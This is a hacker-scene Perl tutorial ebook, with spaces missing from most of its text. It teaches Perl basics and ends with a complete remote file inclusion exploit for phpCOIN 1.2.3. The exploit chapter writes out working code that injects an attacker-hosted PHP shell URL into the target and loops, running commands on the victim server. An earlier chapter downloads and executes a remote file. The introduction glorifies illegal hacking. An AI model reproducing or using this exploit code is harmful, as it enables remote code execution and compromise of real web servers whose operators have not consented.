Writing Exploits
Writing Exploits
org
Learning Perl
-
Writing Exploits
by: Warpboy
2006-2007:WarpboyofSecuritydb.org
SDB www.securitydb.org
Table of Contents
0x01: Introduction
0x02: Basics
0x03: Arrays
0x04: Conditionals
0x05: Gathering User Input
0x06: Loops
0x07: LibWWW
0x08: Sockets
0x09: Writing an Exploit
0x0A: Furthering Knowledge
0x0B: The End
0x0C: Credits / ShoutZ / Contact Information
Notes:
Allthesourcecodefoundinthisbookisinthedirectoriesincludedinthe
rarfilethatyoudownloaded.Inmostthechaptersthecodeiscenteredsoyou
cannotcopy+pasteiteasily,Iencourageyoutotypetheactualcode.Itwillhelp
youbettercomprehendwhatisactuallygoingoninthecodeitself.
Anyquestions/comments?Godowntoteh0x0Cchapterwheremy
contactinformationis.Goodluckwiththebook!You'llsoonbecodingyourvery
ownexploit!
Sincerely,
Warpboy
"I am a hacker, knowledge is what I seek. I exist only to fulfill a lumbering quota of
curiosity. To test my skills challenge me, but question my skills, fall before me. The law
prohibits my actions, but my actions are unknown and unpredictible as everything in nature.
This fear of the unknown promotes flagitious crimes against the birth rights that every
human is given: freedom, curiosity, the right to question. I am a hacker, my actions are
flawless, and that way they shall stay. This curiosity completes us all, and drives us all.
Hacking is no solo trip, we ride together as notorious bandits, but you cannot stop us, after
all, we are just cyber ghosts, but its not who we are, it's what we do... that defines us." --
Warpboy
SDB www.securitydb.org
Introduction
0x01
Perl(PracticalExtractionandReportLanguage)startedoutasaUNIX
application.TodayPerlisusedonalmostalloperatingsystemstocomputejustlike
otherprogramminglanguages.Perlisuniquejustlikeeveryprogramminglanguage;
itstandsoutbybeingeasytolearnandeasytouse.WhyshouldyoucodeinPerl?
Perlisuniqueinthehackingscene.About70%ofexploitsarecodedinPerl.The
reasonwhymosthackerschoosetowritethereexploitsinperlisbecauseitiseasy
tointerpret,itiseasytodownloadandusetheseexploits,anditiseffecientandgets
thejobdoneswiftly.Soifyourinterestedinfindingvulnerablitiesandsharingthem
incodedperlexploits,thenyouarereadingtherightdocument.Ofcourse,thisisa
crashcourseinperlsoifyourjustinterestedinlearningthelanguage,feelfreeto
readthedocument.
0x02
TheBasics
WellbeforeyoubeginprogramminginPerlyouneedtodownload
ActiveStates'sperlinterpreter.Youcandownloaditatwww.activestate.us.Next
whatyouneedisatexteditor.I,personally,recommendDzSoftsPerlEditor(www.
dzsoft.com).Ifyourlookingforafreetexteditorusenotepad.Iftheabovementioned
doesnotsuityoujustgoogle(PerlEditor).Perlfileshaveauniqueextension,all
yourperlfilesshouldbesavedwitha.plextension.
Nowonceallissetup,it'stimetojumpintotheboatandgetsailing.Perlis
simple,andnotaverydifficultlanguagetolearn.Likeallprogramminglanguagesit
seemseasiesttostartwithabasicapplication.Thisismorecommonlyreferredtoas
the"HelloWorld"program.Thisjustgetsyougoingonyouradventreousjourneyof
learningalanguage.Letsgoaheadandmakeasimple"HelloWorld"programin
Perl.
#!/usr/bin/perl-w
print"HelloWorld\n";
SavetheaboveasHelloWorld.planddrag+dropitinthecommandprompt
andhitenter.TheaboveshouldprintHelloWorld.
Let'stakealookatwhatwejustcoded.Thefirstline(#!/usr/bin/perl-w)isthe
beginningofEVERYperlprogram.Itiswhatmakeseveryperlprogram
recognizablesothatitcanbeinterpreted.The(-w)inthatlineisasimpleerror
checkingvariable.Itiscommonlyusedtosortoutembarrassingerrorssothatthey
canbefixedlateron.Thesecondline(print"HelloWorld\n";)is,obviously,theline
thatprintedtheHelloWorldinyourcommandprompt.Printisacommoncommand
usedfluentlyinperlapplications.Forfurtherclarification,theprintcommandislike
the(msgbox""inVB6orprintfcommandinc++).Younoticethe"\n",thisisthe
newlinecharacterinPerl.Therearemanyspecialcharartersinperl,belowisachart
ofallthespecialcharacters.
Character Meaning
\n NewLine
\r Return
\t Tab
\f FormFeed
\b Backspace
\v VerticalTab
\e Escape
\a Alarm
\L LowercaseAll
\l LowercaseNext
\U UppercaseAll
\u UppercaseFirst
Foranotherexampleofusingthesespecialcharactersseebelow:
#!/usr/bin/perl-w
print"Hello\tWorld\n\a";
The2ndmostvitalthingneededforaPerlapplicationtorunwithouterrorsisthe
semi-colonattheendofeachline.Everyline(unlessinablock[explainedlater])has
tohaveasemi-colonafterit.Thistellsperltostopreadingthatlineandmoveon
throughthecode.
Likemostprogramminglanguagesperlhasvariables.Variablesinperlhold
data(temp.orpermanent)andcancontainnumbersorstringsofalmostanylength.
Variablesinperlaredefinedwiththe"$"sign.Takealookatthecodebelowit'sa
simple"HelloWorld"programusingvariables.
#!/usr/bin/perl-w
$Hello="HelloWorld\n";
print$Hello;
Thevariableinthisprogramis"$Hello"itisgiventhevalueof"HelloWorld\n".Then
thevariable'scontentsareprinted.
0x02
SDB www.securitydb.org
InPerltherearenotonlydoublequotationmarks,butsingleaswell.These
singlequotationmarks('')areusedinarraysandcanbeusedinreplaceofdouble
quotationmarks.Themaindifferencebetweenthetwoisthatdoublequotation
marksinterpretsspecialcharacterssuchasnewline(\n)andsinglequotationmarks
donot.
Afunctionthatwillcomeinhandywhendealingwithstringsinperlisstring
addition.Youcanaddstringsinperl.Examplebelow.
#!/usr/bin/perl-w
#<----The"#"signisnotinterpretedinperlcode,itsusedforcomments
$YourName="YOURNAME";#Appendvariable$YourName
print"Hello".""."World".""."My".""."Name".""."Is".""."$YourName".
"\n";
TheaboveprintsHelloWorldMyNameIsYOURNAME,thatwasaddingstringsto
formasentence.Thisseemshardandstupidtodo,butwillcomeinhandylater.
Perlisknownforitscapabilitytodealwithstupendousnumbers.Perlhas
manymathfunctionsjustasotherprogramminglanguages.Belowisaperl
applicationwhichwillprintoutthebasicmathfunctions.
#!/usr/bin/perl
#Adding,Subtracting,Multiplying,andDividinginPerl
#Perlcandoallbasicmathfunctionsandmore.
$a=3+5;#Addition
$b=5*5;#Multiplication
$c=10/2;#Division
$x=12-5;#Subtraction
print$a.""."ADDITION:Thesolutionshouldbe8.\n";
print$b.""."MULTIPLICATION:Thesolutionshouldbe25.\n";
print$c.""."DIVISION:Thesolutionshouldbe5.\n";
print$x.""."SUBTRACTION:Thesolutionshouldbe7.\n";
#AutoincrementingandAutodecrementing
$Count=$Count+1;
print"$Count\n";
#TheSameThingbuteasiertoread
$Count1+=1;#Decrement$Count1-=11
print"$Count1\n";
#SquareRoot
$Square=sqrt(121);
print"Thesquarerootof121is$Square\n";
#Exponents
$Exp=2**5;
print"$Exp\n";
SDB www.securitydb.org
0x02
SDB www.securitydb.org
Array'sareinlamenceterms"lists".Arrays,unlikevariables,holdmultiple
itemswhichcanbecalledorusedlaterinaPerlapplication.Asalways,itsbestto
takealookatanarrayinactiontobetterunderstandthem.BelowisaHelloWorld
applicationwrittenwithanarray.
#!/usr/bin/perl-w
@Hello=('Hello','World');#Arraysusethe@symbol,likeavariables"$".
printjoin('',@Hello)."\n";
Thearrayis"@Hello"anditcontainstwovalues:"Hello","World",arrayscan
containanalmostinfaniteamountofvalues.Thejoinfunctionisusedwhenprinting
theelementsofanarray,thebelowprintsthesamethingastheabove,justusing
differentmethods.
#!/usr/bin/perl-w
#TheSplitMethod
$Sentence="HellomynameisWarpboy.";
@Words=split(//,$Sentence);
print"@Words".""."Thatwassplittingdata"."\n";
#TheLongerWay
@Hello=('Hello','World');
print$Hello[0]."".$Hello[1]."\n";
#Countstartsat0so'Hello'=0andsoon
Thesplitmethodissomewhatsimilartothejoinmethod,itsplitswordsapart
withspaces.Thelongermethodcanbeconfusingattimesandmakesforrough
code.However,itproducesthesameeffectastheabovemethods.Tocreatea
arraytakealookatthecodebelow.
#!/usr/bin/perl-w
@array=qw(bambambambam);
printjoin('',@array);
#Simple
Allinall,arraysareprettysimple,theyareliststhatcancontaindatawhich
willbecomeusefulinyourprograms.
Arrays
0x03
<dra
SDB www.securitydb.org
0x04
Conditionals
Conditionals,forlackofabettertermare,IF-THENstatements.Theyare
featuredineveryprogramminglanguage,andifyourememberwaybackwhen,they
wereusedinmanymathcourses.If-Thenstatementsareusedtotestthecondition
ofavariable.ApracticalexampleofIf-Thenstatmentscouldbe:IfBobatethe
apple,thenheisn'thungryanymore.SoifBobdidn'teattheappleitwouldbe
logicaltoassumethatheisstillhungry.
InPerlthebasicformatforanIf-Thenstatementis:
if(Logical){Then...}
Conditional'sarerathersimpleandusedsomewhatfluentlyinmostPerl
programs.Let'stakealookataconditionalinaction:
#!/usr/bin/perl-w
$i=1;
if($i==1){
$i++;#Increment
print$i."\n";
#Print's2becausethevariable$i'sconditionwastrue
#If$iwasanyother'#'itwouldntprintanything.
}
Conditionalscanalsobeusedwithstringsinsteadofnumericvalues.Takea
lookatthecodebelowforanexample:
#!/usr/bin/perl-w
$i=Hello;
if($ieq'Hello'){
print"Hello!\n";
}
else{
print"Thevariable(i)doesn'tequalthecorrectstring!\n";
}#Changethevalueof$itoanything(else)anditwillusethe(else)statement
instead
Theabovecodeusestheelsestatement,theelsestatementisusedin
scenarioswhentheIf-Thenstatementcouldbefalse.Youwillseeitusedmorein
userinputcodewherethetestedlogicalcouldbefalsemoreoften.That'spretty
muchthebasic'sofconditionalsinPerl.
SDB www.securitydb.org
GatheringUserInput
Userinputisusedinexploits,almostalways,soitisvitaltounderstandthe
manymethodsofcollectinguserinputinaPerlapplication.Userinputisusedto
gatherinformationfromtheusersoitcaninterprettheinputtedinformationand
processtheinformationtogivearesultdependingonwhattheprogramwas
supposetodo.
Thebelowisthefirstmethod,itcouldbereferredtoastheSTDINmethod.
STDINisalineinputoperator;hence,itcollectsuserinput.
#!/usr/bin/perl-w
#STDINMethod
print"HellomynameisWarpboy,whatisyourname?:";
$L1=<STDIN>;
chomp$L1;
print"Nicetomeetyou$L1!\n";
Thefirstlinecollectstheinputandassignsittothevariable$L1,thenthevariableis
chompedmeaningthenewlinecharacteritisnaturallygiven,isremoved.Finally,
thecontentscollectedfromtheenduserareprinted.
Timetotakealookatthenextmethod;thismethodcouldbereferredtoas
the@ARGVmethod.@ARGVlookslikeanarray,butitisnoordinaryarray.
@ARGVcanholduserarguements.YouseethismethodusedalotinPerlexploits.
Anexampleyoumayrecognize:
perlsploit.plwww.somesite.com/forums/1
Allofwhicharearguements(excludingperlandsploit.pl)whichcanbehandledby
@ARGVandinterprettedtoprintanoutput.
Belowisanexampleof@ARGVinuse.
#!/usr/bin/perl-w
if(@ARGV!=2){
print"Usage:perl$0<name><number>\n";
exit;
}
($name,$num)=@ARGV;
print"Hello$name&yournumberwas:$num!\n";
Theabovecodetakestheuserinputtedarguements(<name>and
<number>)andstorestheminthe@ARGVarray,thenprintsthecontentsina
simpaticofashion.
0x05
SDB www.securitydb.org
Younoticethe$0,thisisvariableisusedtotaketheplaceofwherethe
filenamewouldbe.Suchas(perlfile.pl),file.plis$0anditisexcludedfromthe
inputtedinformation.
Thenextmethodusesaperlmoduletocollectuserinput.Thismoduleis
calledtheGetOpt.Takealookatthecodebelowforanexample:
#!/usr/bin/perl-w
#GetOptSTDmodule
useGetopt::Std;
getopts(":b:n:",\%args);
if(defined$args{n}){
$n1=$args{n};
}
if(defined$args{b}){
$n2=$args{b};
}
if(!defined$args{n}or!defined$args{b}){
print"Usage:perl$0-nName-bNumber\n";
exit;
}
print"Hello$n1!\n";
print"Yournumberwas:$n2\n";
print"Visitwww.securitydb.orgtoday!\n\n";
Theabovecodelooksalittlecomplicated;however,it'snothardtointerpret
andunderstandwhatisgoingonintheprogram.Firstthemodule"GetOpt"iscalled
andusingitsflags(-band-n)aredefined.Wethenuseahashtostorethem.
Whathappensnextiswecreateaconditionalwhichbasicallysays"ifthe
userdefinedtheflag-nthenstoretheinformationinavariable($n1)".Thisprocess
isrepeatedwiththeflag-b.Thenwecreateonemoreconditional,thisoneissortof
liketheelsestatementfortheprogram.Itbasicallyprintstheusagerulesifneither
flagsaredefinedintheprogram,thenitexits.Afteralltheuserinputiscollected
usingtheGetOptmodule,thecontentsareprinted.Althoughtherearemorethan
onewaytousetheGetOptmodule,thisisprobablymyfavoritewaytouseit.
Thatsthemostcommonmethodsofgatheringuserinputinperl.These
methodswillbeusedlaterwhenwritingexploitssothattheenduserdoesn'thaveto
configtheperlcodemanually,makingitmoreuserfriendly.Thenextthingthatis
requiredtosuccessfullysaythatyoulearnedperl,isloops.Thenextchaptercovers
thebasicsofeverykindofloopinperl.
0x05
Loops
SDB www.securitydb.org
Ihavewrittenaperlapp.thatwillexplaintoyouthedifferentloopsinperl.If
youhavepreviouslystudiedaprogramminglanguagethismaycomeeasytoyou.
Takealookatthefollowing,itisfullycommented(sorrythatitsbrokenupinto2
pages).
#!/usr/bin/perl
#LoopTutorial
#ByWarpboy
#www.securitydb.org
##################################
#FULLYCommented#
##################################
#WhileLoops
#Format
#while(Comparison){
#Action}
#Whileloopswillloopwhilethecomparisonistrue,ifitchangestofalse,itwillno
longercontinuetoloopthroughitssetofaction(s).
$i=1;
while($i<=5){
print"While:".$i."\n";
$i++;
}
#ForLoops
#Format
#for(init_expr;test_expr;step_expr;){
#ACTION}
##
#Initexpressionisdonefirst,thenthetestexpressionistestedtobetrueorfalse
then--
#thestepexpressionisexecuted.
for($t=1;$t<=5;$t++){
print"For:".$t."\n";
}
##Continuedtonextpage
0x06
SDB www.securitydb.org
#UntilLoops
#Format
#until(Comparison){
#Action}
##
#Anuntilloopteststhetruefalsecomparison,ifitistrue,itwillcontinuetoloop
untilthecomparisonchangestoa
#falsestate.
$p=1;
until($p==6){#It'ssixbecausewhen$pbecomes=5,itdoesntgothroughthe
setofactionsequences;therefore,5isn'tprinted.
print"Until:".$p."\n";
$p++;
}
#ForeachLoops
#Usedmostcommonlytoloopthroughlists
#Format
#foreach$num(@array){
#Action}
$n=1;
foreach$n(1..5){
print"Foreach:".$n."\n";
$n++;
}
#EndTutorial
Hopefully,thatexplainedtheloopsinaniceandeasywayforyoutolearn.
Loopsareusedveryfluentlyinperlapps.itisatanutmostimportancetofully
comprehendhowtheywork.Aftersomepracticeitshouldn'tbehardtocatchon.
LibWWWorLWPforshort,isamoduleincludedinmostperlinterpreters
thatenablesperltointeractwiththeweb.LWPhasmanydifferentusesandisn't
justinonemodule,therearedifferentderivitivesofit,theonesyouwillneedto
becomemorefamiliarwithareLWPUserAgentandLWPSimple.LWPisn't
complexatall,youshouldfindyourselfcodingwebinteractingperlapplicationsin
notimeafterreadingthischapter.
LibWWW
0x06
0x07
SDB www.securitydb.org
0x07
ThefirstLWPmodulethatIwillcoveristheLWPSimplemodule.TheLWP
simplemodulewillprobablybeoneofthemostun-usedmodulesinyourexploits
butitsetsasolidfoundationforyoutogrowandlearnmoreaboutdifferentLWP
modules.
Touse/calltheLWPmoduleoranymoduleyoudothefollowing:
#!/usr/bin/perl
useLWP::Simple;#callsthemodulelocated'C:\Perl\site\lib\LWP'#
print"haha?\n";
SomebasicfunctionsintheLWPmoduleconsistof:
get($site);-WillfetchthedocumentidentifiedbythegivenURLandreturnit.
getprint($site);-PrintstheSourceofaWebpage
getstore($site,$savefile);-Downloads+SavesfileonHDD
Formoredocumentationvisit(http://search.cpan.org/dist/libwww-perl/lib/
LWP/Simple.pm).Let'suseoneoftheLWPSimplefeaturesinthesomecodeso
wecanseehowitworks.Thefollowingisabasicwebdownloader,fully
commentedofcourse.
#!/usr/bin/perl
#PerlWebDownloader
#ByWarpboy
#///Config///#
useLWP::Simple;
getstore('http://securitydb.org/images/Banner.png','banner.png');#downloads+
storesfile
system('banner.png');#executesthe
sleep(3);#sleeps(waits)
unlink('banner.png');#deletesthefile
Itisfairlysimple,thefileisdownloadedandstoredusingthegetstore
functionintheLWPSimplemodule.Thenitisexecutedusingthesystem
commandanddeletedusingtheunlinkcommandwitha3secondgapinbetween
theexecutionanddeletion(sleep(3)).
ThenextmodulecoveredistheLWPUserAgent,ithasmanymorefeatures
thantheLWPSimplemodule.Youdon'thavetolearnallthefeaturesinthe
UserAgentmodule,onlytheonesthataremostcommonlyusedinexploitswillbe
covered.However,ifyouwanttofurtheryourknowledgeorrefertosomething
lateron,Iadvisegivingalookatthedocumentationonthemodulehere(http://
search.cpan.org/~gaas/libwww-perl-5.803/lib/LWP/UserAgent.pm).
0x07
SDB www.securitydb.org
Togetstartedlet'slearnalittleaboutGETrequests,theywillsoonbeyour
mostusedcommandinyourcodedexploits.HTTP/1.1definesGETrequestsas:
requestsarepresentationofthespecifiedresource.Byfarthemostcommon
methodusedontheWebtoday.WewillbeusingGETrequeststocreatea
representationofaurl.
ForanexampleofGETrequests,IhavecodedanMD5DatabaseFiller,
fullycommentedsoyoucanunderstandit.
#!/usr/bin/perl
#Md5DatabaseFiller#
#Version1.0,AddWordManually#
#ByWarpboy#
#www.securitydb.org#
#Modulesneeded:LWP(UserAgent),Digest(MD5)#
#Download+INSTALLmd5digestmodule:http://search.cpan.org/~gaas/Digest-
MD5-2.36/MD5.pm#
useLWP::UserAgent;#CallingourLWPUseragentmodule
useDigest::MD5qw(md5_hex);#CallingourDigestMD5module(Install{ifyou
needit})
$brow=LWP::UserAgent->new;#Ournewuseragentdefinedunderthevariable
$brow
while(1){#Justasimplewhileloopthatwillruntheprogramcontinouslyinstead
ofjust1time
print"Wordtoadd:";#prints"Wordtoadd:"
$var=<STDIN>;#RememberfromourGatheringUserInputChapter?
chomp($var);#Chompsthenewlinechar.itisnaturallygiven
$seek="http://md5.rednoize.com/?q=$var&b=MD5-Search";#definesthe
variable$seektotheurl(noticethe?q=$var)$varouruserinputedvariable
$brow->get($seek)ordie"FailedtoSendGETrequest!/n";#Browserexecutesa
getrequestonwiththeurldefinedinthe$seekvariable
print"$var".":".md5_hex("$var")."wasaddedtodatabase"."\n";#Prints
thewordaddedandthemd5hexoftheword
}#Endofthewhileloop
#Totestifitworkedgotohttp://md5.rednoize.com/andsearchyourmd5(hex)
hashgiventoyou
#Itshouldcrack:)
#Thiswasasimpleexampleofagetrequestexecutedonaserver
ThatwasasimpleexampleofGETrequestswiththeLWPUseragent,thats
theprimaryfunctionyouwillbeusingwhenusingtheLWPUseragent.Formore
informationonwhatyoucandowithLWPUseragentIrecommendtakingalook
here:http://search.cpan.org/~gaas/libwww-perl-5.803/lib/LWP/UserAgent.pm.
SDB www.securitydb.org
0x08
Sockets
Thischaptercoversthebasic'softhemoduleIO(Input/Output)Socket
INET.Itisusedmildlyinexploits,itseem'stobemoreprominentinSQLinjection
exploits.Thischapterisn't100%necessarytoread;however,pleasefeelfreeto
readitandlearnaboutthismodule.
TheIOSocketINETmoduleprovidesanobjectinterfacetocreatingand
usingsocketsintheAF_INETdomain.Wewillbecreatingasimplesocketto
connecttoanIPonport80.Goaheadandreadandinterpretthesimplesocket
codebelow.
#!/usr/bin/perl
useIO::Socket;
print"AnIPtoconnectto:";
$ip=<STDIN>;
chomp($ip);
$i=1;
while($i<=5){
$sock=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"$ip",PeerPort=>'80')
ordie"Couldn'tconnect!\n";
print"Connected!\n";
$i++;
}
ThefirstlinecallsthemoduleIOSocket.Thenext3linesareourSTDIN
userinputmethod.WearetakingauserinputtedIPandstoringitinthe$ip
variable.Youshouldrememberthisfromthe"GatheringUserInput"chapter.
Thenextthingiswedefinethevariable$ias"1".Thenawhileloopjust
runsthesocketcode5times.ThesocketcodehasProtoorProtocol(TCP/UDP)
andweareusingtheTCPprotocol.NextthePeerAddrorPeerAddress
arguementisequaltotheuserinputcollectedIPaddress($ip).Thenthepre-
definedportwhichyoucanmodify,PeerPortisequalto80(HTTP).Thesocket
containsadiestatementwhichmeansthatifthereisafailuretoconnectthenthe
socketwillprinttheerrormessage"Couldn'tconnect[newline]".Thelastlineisour
truestatementwhichprints"Connected![newline]"iftherewasnofailureto
connect.Thenasimpleincrementationonour$ivariable.
Likesaidabove,thismoduleismostcommonlyusedinyourSQLInjection
exploits.ThismodulehasbeenusedtoactuallybuildPerltrojans,however,since
perlisopensourceanditsnotautomaticallyloadedonWindowsmachines,Perl
trojansaremoreofajokeandeasilypreventedagainst.
SDB www.securitydb.org
WritinganExploit
Itisthetime,timetocompileeverythingyouhavelearnedfromthisbook.In
thischapteralltheinformationintheabovechapterscomestogether.Toforma
completeexploit,fullycodedinPerl.Don'tfeeloverwhelmed,ifyouhavebeen
comprehendingtheinformationwellyoushouldhavenoproblematall.
TheexploitwewillbecodingisaRFI(RemoteFileInclude)vulnerability
discoveredbymyfriendTimQ(HITIMQ!).Theparticularwebapplicationthatis
vulnerableisphpCOIN1.2.3.AlinktothePoC:http://milw0rm.com/exploits/2254.
Let'sgoaheadandgetstarted.Thefirstthingwearegoingtodoisdefinea
fewvariablesandsetupouruserinput.Takealookatthefollowingcode:
#!/usr/bin/perl
useLWP::UserAgent;#Wecallourmodule
#Storeouruserinputtedinformationintovariables
$site=@ARGV[0];
$shellsite=@ARGV[1];
$shellcmd=@ARGV[2];
if($site!~/http:\/\//||$site!~/http:\/\//||!$shellsite)#checksthevalidityoftheinputted
url
{
usg()#Iftheusrinputtedurlisinvalidjumptotheusgsubrountine
}
header();#Runtheheadersubrountine
ThefirstthingwedoiscalltheLWPUseragentmodule.Nextwehaveour
userinputvariablessetup,$site,$shellsite,$shellcmd.Thenaconditionalthat
teststhevalidityoftheurlinputtedbytheuser.Withoutthistheprogramcould
errorifainvalidlinkisputin.Ifthelinkisvalidtheprogramexecutestheusg
subrountine(Locatedatthelowerportionoftheexploit).Thenaftertheconditional
isran,theheadersubrountineisexecuted(Alsolocatedatthelowerportionofthe
exploit).
Movingon:
while()
{
print"[shell]\$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
0x09
SDB www.securitydb.org
0x09
Timefortheloops,youshouldrecallthewhileloop.Intheabovecodewe
haveawhile()thisishereforonereason,sothattheprogramrunscontinously
untilsomesortoferroroccurs.It'sthesameassayingwhile(1),theloopruns
interminably.Thenextthingisthewords"[shell]$"areprintedtotakethefirstshell
command.Thenthereisthewhile(<STDIN>)loop,whichmeanswhiletakinguser
inputforthecommand,dothefollowing.Thisloopendsattheendoftheprogram,
sameasthewhile()loop.
Movingon:
$xpl=LWP::UserAgent->new()ordie;
$req=HTTP::Request->new(GET=>$site.'/coin_includes/constants.php?_CCFG
[_PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)ordie"\n\nFailedto
Connect,Tryagain!\n";
$res=$xpl->request($req);
$info=$res->content;
$info=~tr/[\n]/[ê]/;
ThisiswhenwereusingourknowledgeoftheLWPUseragentmoduleto
codetheactualvulnerabilitycodeintotheexploit.Thevariable$xplisdefinedasa
newLWPUserAgent.The$reqvariableisexecutingaGETrequestontheuser
inputtedurl($site),thentheactualvulnerabilityisplacedontotheendofthe$site
variable.Followingthe$shellsiteorwherethephpbackdoorislocated,isthe
$shellcmd(phpshellcommandvariable)and$cmdvariablewhichwastheuser
inputtedcommandtoexecuteontheserverwiththephpbackdoor.Thefinalurl
wouldlooklike(http://www.site.com/coin_includes/constants.php?_CCFG
[_PKG_PATH_INCL]=SHELL?&CMDVARIABLE=COMMAND).Noticethe
concatenationusedtocombineallthevariablesandandsymbolstogether,toform
onestringstoredinthe$reqvariable.
The$resvariableexecutestheGETrequest.Thecontentretrievedfromthe
GETrequestisstoredinthe$infovariable.
Movingon:
if(!$cmd){
print"\nEnteraCommand\n\n";$info="";
}
elsif($info=~/failedtoopenstream:HTTPrequestfailed!/||$info=~/:Cannot
executea
blankcommandin<b>/)
{
print"\nCouldNotConnecttocmdHostorInvalidCommandVariable\n";
exit;
}
elsif($info=~/^<br.\/>.<b>Warning/){
print"\nInvalidCommand\n\n";
};
SDB www.securitydb.org
0x09
ThesesetofconditionalsaretestingourreturnedcontentfromtheGET
requestforerrors,ifthereisanerrorintheusersinput,ex.invalidcommandorin
thewebsitebeingtested,ex.failuretoconnect.It'sprettyeasytounderstand,not
muchneedforanyfurtherexplanation,onthissectorofcode.
Movingon:
if($info=~/(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final=$1;
$final=~tr/[ê]/[\n]/;
print"\n$final\n";
last;
}
Thispieceofcodeisvitaltotheexploit,itistestingthewebapplicationfor
vulnerability.Ifthereturnedcontenthappenstocontain"Warning"thenthe
programexitsmeaningthatthatspecificsitewasnotvulnerable.
Movingon:
else{
print"[shell]\$";
}#endofelse
}#endofwhile(<STDIN>)
}#endofwhile()
last;
subheader()
{
printq{
++++++++++++++++++++++++++++++++++++++++++++++
phpCOIN1.2.3--RemoteIncludeExploit
Vulnerablityfoundby:TimQ
Exploitcodedby:Warpboy
www.securitydb.org
OriginalPoC:http://milw0rm.com/exploits/2254
++++++++++++++++++++++++++++++++++++++++++++++
}
}
Thissectionoftheexploitcontainsanelsestatementforalltheprevious
conditionals.Theendofthecodeisoursubrountine"header"usedearlierinthe
exploit.
SDB www.securitydb.org
0x09
Theendoftheexploit:
subusg()
{
header();
printq{
==============================================================
========
Usage:perlsploit.pl<phpCOINFULLPATH><ShellLocation><ShellCmd>
<phpCOINFULLPATH>-Pathtositeexp.www.site.com
<ShellLocation>-Pathtoshellexp.www.evilhost.com/shell.txt
<ShellCmdVariable>-Commandvariableforphpshell
Example:perlC:\sploit.plhttp://www.site.com/phpCOIN/
==============================================================
=========
};
exit();
}
Thisisjustour"usg"sub-rountineandasimpleexitifallthecodeis
bypassedduetoerrorsect.
Forthefullcompiledcodedexploityoucanseeithere:
http://www.securitydb.org/Warpboy/phpCOIN1.2.3exploit.txt
Downloadableversionwithcomments:
http://www.securitydb.org/Warpboy/phpCOIN1.2.3_Exploit.rar
http://rapidshare.de/files/34107733/phpCOIN1.2.3_Exploit.rar
RARpass:www.securitydb.org
Congratulations!
SDB www.securitydb.org
0x0A
FurtheringKnowledge
Itisalwaysvitaltocontinueeducation.Knowledgecontainsan
immensepower.Byreadingthisbookyouonlybegantoscimthetopof
yourfullcapabilities.Belowaresomelinksthatyoucancheckoutifyour
interestedinlearningmorePerl.
http://www.cpan.org
http://www.securitydb.org/forum/
http://www.programmingtutorials.com/perl.aspx
http://www.pageresource.com/cgirec/index2.htm
http://www.cclabs.missouri.edu/things/inst...perlcourse.html
http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html
http://vsbabu.org/tutorials/perl/
http://www.freeprogrammingresources.com/perl.html
http://www.thescripts.com/serversidescript...guru/page0.html
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
http://www.perl.com
http://www.perlmonks.org/index.pl?node=Tutorials
Ofcourse
www.google.com
Thereareavarietyofhard-copybooksande-booksavailablethatcan
teachyoumorethanwhatwastaughtinthiscrashcourseperlbook.
However,thisbookshouldhavesetagoodfoundationforyourPerlskills
togrowandprosperfrom.
0x0B
SDB www.securitydb.org
TheEnd
LearningPerl-WritingExploitshasbeenatrueexperiencefor
myselfandhopefullyyouasareader.Asanauthorofmanytutorials,this
hasbyfarbeenthelongest.Ithashelpedmetorefreshanddiscovernew
codingtechniques.Ifallgoeswelltherepossiblycouldbeanupdated2nd
editionofthebook.Allthatisinthefuture.
Credits/ShoutZ/ContactInformation
Creditsto:TimQforfindingthephpCOINvulnerabilityandletting
meuseitinthisbook.
ShoutZ: TimQ, Z666, Ice_Dragon, kAoTiX,
Archangel, Phrankeh, PunkerX, G-RayZ, Ender,
Splinter, Nec, Nec's BoyFriend, Wolverine,
Sentai, Vaco, and Maverick.
Contact Information:
Email: Warpboy1@yahoo.com
MSNM: Warpboy1@yahoo.com
www.securitydb.org